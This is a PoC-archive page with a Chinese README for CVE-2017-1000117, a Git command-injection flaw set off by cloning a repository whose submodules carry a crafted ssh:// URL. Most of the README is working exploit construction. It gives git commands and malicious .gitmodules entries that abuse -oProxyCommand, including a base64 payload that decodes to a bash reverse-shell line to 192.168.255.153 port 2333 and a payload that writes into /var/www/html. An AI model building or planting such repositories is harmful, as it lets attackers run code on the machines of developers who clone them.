Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2017-1000117 PoC — Git 命令注入漏洞

Source
Associated Vulnerability
Title:Git 命令注入漏洞 (CVE-2017-1000117)
Description:A malicious third-party can give a crafted "ssh://..." URL to an unsuspecting victim, and an attempt to visit the URL can result in any program that exists on the victim's machine being executed. Such a URL could be placed in the .gitmodules file of a malicious project, and an unsuspecting victim could be tricked into running "git clone --recurse-submodules" to trigger the vulnerability.
Readme
# CVE-2017-1000117  

恶意人员可以通过巧妙构造 “ssh://…” 链接,让受害人在执行程序等情况下访问该恶意链接,从而达到命令执行的目的。 该链接可以被放在 git项目的.gitmodules文件下,这样当受害人对一个项目进行git clone –recurse-submodules/git clone --recursive 操作时,就会引发安全问题。

预热:

linux 命令行输入
printf 'a' >> /tmp/pwned.txt
发现在tmp目录创建了pwned.txt,内容为 a


git init

git remote add origin  https://github.com/leezp/CVE-2017-1000117.git

git pull origin master

git submodule add https://github.com/leezp/CVE-2017-1000117.git sub1

([submodule "sub1"]
 	path = sub1
 	url = https://github.com/leezp/CVE-2017-1000117.git
//创建了sub1和name2两个submodule子目录)

git submodule add https://github.com/leezp/CVE-2017-1000117.git name2

git add .

git commit -m '1'

git push -u origin master

有两种制作方式:

第一种:
打开.gitmodules文件,修改内容(只需修改第一个,因为只会执行第一个submodule里的exp,这里创建2个是因为有时候创建一个不会执行,具体原因暂时没有太多兴趣研究)

[submodule "name1"]

	path = name1
   	url = ssh://-oProxyCommand=printf cHJpbnRmICJiYXNoIC1pID4vZGV2L3RjcC8xOTIuMTY4LjI1NS4xNTMvMjMzMyAwPiYxIDI+JjEgIiA+PiAvdG1wL3F3ZXI= | base64 -d | sh /bar
	
[submodule "sub2"]	

	path = sub2	
	url = https://github.com/leezp/CVE-2017-1000117.git

(具体见.gitmodules.bak1文件)
第一种方式无需payload文件


第二种方式:
打开.gitmodules文件,修改内容(只需修改第一个)

[submodule "sub1"]

	path = sub1
	url = ssh://-oProxyCommand=sh<payload/wat
	
[submodule "name2"]

	path = name2
	url = https://github.com/leezp/CVE-2017-1000117.git
  (具体见.gitmodules文件)
  
  此种方式需结合payload文件,payload文件我们输入 
  printf 'sss' > /var/www/html/vul
  
  

**注意**
git clone方式必须以下两种任一:

git clone --recursive url

git clone --recurse-submodules  url

使用git clone 则只会正常下载不会额外生成文件,所以漏洞触发条件较为苛刻。



File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →